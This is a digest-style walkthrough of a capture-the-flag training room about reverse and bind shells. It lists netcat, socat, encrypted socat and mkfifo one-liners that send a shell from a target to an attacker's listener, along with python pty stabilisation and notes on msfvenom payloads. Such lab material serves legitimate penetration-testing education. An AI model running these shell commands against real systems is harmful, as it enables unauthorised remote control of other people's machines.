What the Shell?
An introduction to sending and receiving (reverse/bind) shells when exploiting target machines.
Last updated
Was this helpful?
An introduction to sending and receiving (reverse/bind) shells when exploiting target machines.
Last updated
Was this helpful?
This walkthrough from describes some technique about getting the shell. Here I not only share the answer but this is also a 'digest' type note from that room. This will help to quickly view those techniques.
Useful tools for shell:
Netcat
Socat
Metasploit - multi/handler: auxiliary/multi/handler
used to receive reverse shells
msfvenom
Reverse shells are when the target is forced to execute code that connects back to your computer.
Bind shells are when the code executed on the target is used to start a listener attached to a shell directly on the target.
Shells can be either interactive or non-interactive.
Netcat is the most basic tool in a pentester's toolkit when it comes to any kind of networking.
Reverse shell : nc -lvnp <port-number>
Bind shell: nc <target-ip> <chosen-port>
-lvnp
means
-l is used to tell netcat that this will be a listener
-v is used to request a verbose output
-n tells netcat not to resolve host names or use DNS. Explaining this is outwith the scope of the room.
-p indicates that the port specification will follow.
There are many ways to stabilize netcat shells on Linux systems.
Technique 1: Python
To spawn a better featured bash shell: python -c 'import pty;pty.spawn("/bin/bash")'
Some targets may need the version of Python specified.
export TERM=xterm
- this will give us access to term commands such as clear
Finally, in our own terminal we use stty raw -echo; fg
it turns off our own terminal echo
it foregrounds the shell
Technique 2: rlwrap
This technique is particularly useful when dealing with Windows shells
Listener command: rlwrap nc -lvnp <port>
Technique 3: socat
this technique is limited to Linux targets
Reverse shell :
Basic syntax: socat TCP-L:<port> -
this is similar to nc -lvnp <port>
Command to connect back
Windows: socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
Linux: socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"
Bind shell:
Command to connect
Windows: socat TCP-L:<PORT> EXEC:powershell.exe,pipes
Linux: socat TCP-L:<PORT> EXEC:"bash -li"
Command on our attacking machine to connect to the waiting listener: socat TCP:<TARGET-IP>:<TARGET-PORT> -
A more stable and Linux only command: socat TCP-L:<port> FILE:`tty`,raw,echo=0
Getting an encrypted reverse shell:
First, generate certificate: openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
The command above creates a 2048-bit RSA key with a matching cert file - valid for 1 year
Now, merge two created files into one: cat shell.key shell.crt > shell.pem
Reverse shell listener on attacker machine: socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
Execute command on victim machine: socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash
Getting an encrypted bind shell:
Run in Target machine: socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
Attacker machine: socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -
Note: Even for windows target, use certificate with listener.
In recent updates, -e /bin/shell
option don't work as it is insecure. So we need to use a special command to execute shell.
To create a bind shell:
In the Target machine: mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
Attacker machine: nc -lvnp <PORT>
For a reverse shell:
In the Target machine: mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
A standard one liner PowerShell reverse shell code below. We need to replace '<ip>' and <port> here.
The standard syntax for msfvenom: msfvenom -p <PAYLOAD> <OPTIONS>
There are 2 type of reverse shell payloads:
Staged: This payload has 2 parts
Stager: This goes to the server and initiate a reverse connection only. It has no payload in it
Reverse shell code: This bulk code is downloaded after an initial connection.
Stageless: The whole reverse shell code gets uploaded to a server for a connection back. These are easy to detect by detection software.
A very good article on socat :
A detail explanation about the command can be found here:
Reverse shell cheat sheet list:
A very good cheat sheet about msfvenom: